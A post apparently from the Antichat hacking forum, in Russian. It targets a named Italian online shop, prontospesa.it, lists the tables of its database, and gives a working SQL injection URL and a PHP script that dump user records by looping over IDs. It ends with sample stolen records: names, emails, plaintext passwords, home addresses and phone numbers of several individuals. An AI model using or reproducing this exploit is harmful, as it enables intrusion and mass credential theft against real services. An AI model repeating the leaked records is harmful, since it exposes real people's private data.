ANTICHAT - Показать сообщение отдельно

prontospesa.it
средних размеров онлайн шоп

Код:

http://prontospesa.it/myclub/lista/_aggiungi.asp?C=2646

таблицы:

Код:

DM-Reward
DM-Target-Campagna
DM-Campagne
ReachKeyGenerale
dtproperties
Acquisti
Acquisto
CAP
Carrelli
Carrello
Commessi
Config
CostiConsegna
CRM
ECommerce
ECommerce1
ECommerce3
IVA
ListaPersonale
MailAccount
Offerta
Offerte
Operatori
ReachKey
Risultati
SenzaEAN
Supermarket
SuperMarket_Cat
Supermarket0
sysconstraints
syssegments
ToDo
Utenti
Utenti_OnLine

кто не ленивый может найдет где нить там кт

Мне лично лень

Вытягиваем из таблицы Utenti - email+pass+всякая кадабра типа адреса:

Код:

http://prontospesa.it/myclub/lista/_aggiungi.asp?C=2646%27+OR+1=(select+top+1+cast(IdUtente+as%20nvarchar)%2B%27%3A%27%2Bcast(EMail+as%20nvarchar)%2B%27%3A%27%2Bcast(Password+as%20nvarchar)%2B%27%3A%27%2Bcast(Stato+as%20nvarchar)%2B%27%3A%27%2Bcast(Nome+as%20nvarchar)%2B%27%3A%27%2Bcast(Cognome+as%20nvarchar)%2B%27%3A%27%2Bcast(RagioneSociale+as%20nvarchar)%2B%27%3A%27%2Bcast(Indirizzo+as%20nvarchar)%2B%27%3A%27%2Bcast(Citta+as%20nvarchar)%2B%27%3A%27%2Bcast(Cap+as%20nvarchar)%2B%27%3A%27%2Bcast(Provincia+as%20nvarchar)%2B%27%3A%27%2Bcast(Telefono1+as%20nvarchar)%2B%27%3A%27%2Bcast(Telefono2+as%20nvarchar)%2B%27%3A%27%2Bcast(Telefono3+as%20nvarchar)+from+Utenti+where+IdUtente=1)--

скрипт на Php для дампинга таблицы Utenti

PHP код:


		
			
<?

 set_time_limit(0);

function send_get($get_url)

{

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $get_url);

curl_setopt($ch,CURLOPT_COOKIEFILE,"./htdocs/1.txt");

curl_setopt($ch, CURLOPT_HEADER,0);

curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,30);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION,0);

curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);

return $data = curl_exec($ch);

}

$postfix = 0;

$filename = "base".$postfix.".txt";

$desp = fopen ($filename,"a+");

for ($id=0;$id<30000;$id++){

$get_url="http://prontospesa.it/myclub/lista/_aggiungi.asp?C=2646%27+OR+1=(select+top+1+cast(IdUtente+as%20nvarchar)%2B%27%3A%27%2Bcast(EMail+as%20nvarchar)%2B%27%3A%27%2Bcast(Password+as%20nvarchar)%2B%27%3A%27%2Bcast(Stato+as%20nvarchar)%2B%27%3A%27%2Bcast(Nome+as%20nvarchar)%2B%27%3A%27%2Bcast(Cognome+as%20nvarchar)%2B%27%3A%27%2Bcast(RagioneSociale+as%20nvarchar)%2B%27%3A%27%2Bcast(Indirizzo+as%20nvarchar)%2B%27%3A%27%2Bcast(Citta+as%20nvarchar)%2B%27%3A%27%2Bcast(Cap+as%20nvarchar)%2B%27%3A%27%2Bcast(Provincia+as%20nvarchar)%2B%27%3A%27%2Bcast(Telefono1+as%20nvarchar)%2B%27%3A%27%2Bcast(Telefono2+as%20nvarchar)%2B%27%3A%27%2Bcast(Telefono3+as%20nvarchar)+from+Utenti+where+IdUtente=".$id.")--";

$str=send_get($get_url);

if (preg_match("/nvarchar\040'(.*)'\040in\040una\040colonna/",$str,$matches)) {

echo $matches[1];

fputs($desp,$matches[1]);

fputs($desp,"\n");

}

}

fclose($desp);

?>

Вотс чего получаем на выходе :

Код:

1:elena.abba@dmgroup.it:fabio:1:Elena:Abbà::Via BOVE 14:Torino:10129:TO:011 5097327::
3:abbena@dm.unito.it:micoledo:1:Elsa:Abbena::S.da della bocchetta11:Sciolze:10090:TO:011 9603558::
9:matteo.adinolfi@tele2.it:grages64:1:Matteo:Adinolfi::C.so Corsica 45/C:Torino:10135:TO:0113170570::3290848091
12:loaffat@tin.it:nilde:1:Nilde:Affatato::strada del Drosso 140/D:Torino:10135:TO:0113472847::3335336138